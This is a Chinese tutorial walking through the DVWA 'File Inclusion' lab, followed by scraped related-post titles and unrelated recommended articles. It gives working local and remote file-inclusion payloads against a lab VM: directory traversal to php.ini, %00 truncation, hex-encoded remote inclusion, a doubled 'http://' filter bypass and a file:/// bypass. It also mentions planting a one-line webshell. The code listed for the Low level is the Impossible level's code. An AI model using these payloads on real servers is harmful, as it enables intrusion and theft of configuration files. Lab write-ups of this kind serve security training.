文件包含漏洞

先来了解一下什么是文件包含

  因为程序开放人员通常会把可重复使用的函数写到单个文件中,在需要使用到这些函数时候,就可以

直接调用这个文件,这种对文件的调用过程就被称为文件包含。

文件包含漏洞的成因  

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变
量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

PHP中常见的文件包含的函数

Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞分类

本地文件包含漏洞:

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

远程文件包含漏洞:

本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配
置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

 

我们先来简单测试一下,我们创建一个这样的php文件

在这个目录下的txt文件也会被当作php文件来执行,我们在同目录下创建一个txt文件

接下来我们访问一下这个h.txt在使用id=h.txt

可以看到成功把txt文件执行成了php文件,如果我们把该txt写成一句话木马就可以用菜刀连上了,当然这要配合文件上传漏洞来使用了。

Low

先来看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

没有作任何的过滤,直接读取文件,我们有3个选择文件的执行,这三个文件是在include.php文件目录下的三个文件,我们来看一下这3个文件执行结果

输出当前用户名,和我们访问的IP,这里是虚拟机网卡的IP

输出了一行字 这里说他需要8位数的密码,所以他选择了白雪公主和七个小矮人~

这里输出的是我们访问所用的IP,代理地址,我们访问的服务器IP

我们把page后面修改成linux文件路径报错了,这说明服务器是windows系统,同时也暴露了文件的绝对路径

我们直接用绝对路径访问php.ini文件来看一下

我们还可以用..\..\来跳转到上一级目录直到根目录再来访问

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\phpStudy\WWW\dvwa\php.ini

配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别

也就是http://192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini%00%20adads.php是等效的

但我们这次的php版本是5.4.45.

这个规则有什么用呢?我们可以使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时前面想读取ini后缀会读取失败,而后面的可以绕过规则成功读取。

前面已经说过了allow_url_fopen和allow_url_include为ON的话,可以进行远程文件包含,这里搭载本机的服务器

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=http://192.168.94.1/index.php

成功让本地服务器远程包含!一般是放攻击文件在服务器上。

这样的构造太明显,我们也可以对url进行hex编码

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%34%2e%31%2f%69%6e%64%65%78%2e%70%68%70

Medium

先来看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>

这里使用str_replace函数来对../ ..\  http://  https:// 都替换成了空。

这种替换我们通常都可以使用双写来绕过

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.94.1/index.php

也可以用绝对路径来绕过

High

看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
if( !fnmatch( "file*", $file ) && $file != "include.php" )这个代码是用
fnmatch(pattern,string,flags)函数
pattern 必需 规定要检索的模式
string 必需 规定要检查的字符串或文件
flags 可选

也就是说是当文件不是file开头也不是include.php时候就会报错。也就意味着满足其中一个条件就可以正确执行了

当我们打开一个本地文件时,前面就是file开头

接下来就可以构造payload了

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\php.ini

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

这里直接就必须是他原本的几种文件名才可以包含了,这里可能需要用文件上传和一些规则利用才能绕过了,现在我还没有办法绕过。

 

DWVA--File Inclusion的更多相关文章

  1. Web Application Penetration Testing Local File Inclusion (LFI) Testing Techniques

    Web Application Penetration Testing Local File Inclusion (LFI) Testing Techniques Jan 04, 2017, Vers ...

  2. DVWA 黑客攻防演练(四)文件包含 File Inclusion

    文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...

  3. [EXP]Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

    # Exploit Title: Joomla! Component Easy Shop - Local File Inclusion # Dork: N/A # Date: -- # Exploit ...

  4. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  5. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  6. DVWA全级别之File Inclusion(文件包含)

    File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),req ...

  7. DVWA之File Inclusion

    File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),req ...

  8. File Inclusion(文件包含)

    File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_ ...

  9. DVWA之文件包含(File inclusion)

    daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数 include,require和include_once,r ...

  10. LFI (local file inclusion vulnerability)本地文件包含

    代码实例: <?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } else { ...

随机推荐

  1. android分析之Binder 01

    终于还是得写一篇关于Binder的文章了.从最初接触Android到花大把时间研究Android源码,Binder一直是分析道路的拦路虎.看了几本最流行的Android源码分析书籍,每次基本上都不能把 ...

  2. HDU_6693 Valentine's Day 【概率问题】

    一.题目 Valentine's Day 二.分析 假设$ s_0 $代表不开心的概率,$ s_1 $代表开心一次的概率. 那么随便取一个物品,那么它的开心概率为$ p _i $,可以推导加入之后使女 ...

  3. Codeforces Round #538 D. Lunar New Year and a Wander

    题面: 传送门 题目描述: Bob想在公园散步.公园由n个点和m条无向边组成.当Bob到一个未经过的点时,他就会把这个点的编号记录在笔记本上.当且仅当Bob走完所有的点,他才会停下来.这时,Bob的笔 ...

  4. 事件 on

    $(选择器).on(事件名称,事件的处理函数) 事件名称:js事件去掉on的部分,例如js中onclick,这里就是click 例如:<input type="button" ...

  5. 想了解FlinkX-Oracle Logminer?那就不要错过这篇文章

    FlinkX-Oracle Logminer模块是FlinkX基于Logminer对Oracle重做日志进行实时采集分析,可对Oracle进行实时同步也可以通过指定SCN或者时间戳从某个节点进行同步, ...

  6. 前端知识-CS-01

    一.选择器 通过什么方式来定位 1.sytle标签 style标签功能:写css样式的sytle标签的几种写法:1.可以在head里面添加一个style标签 2.在head标签中 通过link标签,引 ...

  7. 10、Spring教程之整合MyBatis

    1.步骤 1.导入相关jar包 junit <dependency> <groupId>junit</groupId> <artifactId>juni ...

  8. [源码分析] 消息队列 Kombu 之 mailbox

    [源码分析] 消息队列 Kombu 之 mailbox 0x00 摘要 本系列我们介绍消息队列 Kombu.Kombu 的定位是一个兼容 AMQP 协议的消息队列抽象.通过本文,大家可以了解 Komb ...

  9. 实验四 Python综合实践

    课程:<Python程序设计> 班级:1843 姓名:章森洋 学号:20184307 实验教师:王志强 实验日期:2020年5月16日 必修/选修: 公选课 1.实验内容 此处填写实验的具 ...

  10. 走进docker-聊聊docker网络

    容器网络概念 首先了解下linux的网络构成概念 命名空间: Linux在网络栈中引入网络命名空间,将独立的网络协议栈隔离到不同的命令空间中,彼此间无法通信:Docker利用这一特性,实现不容器间的网 ...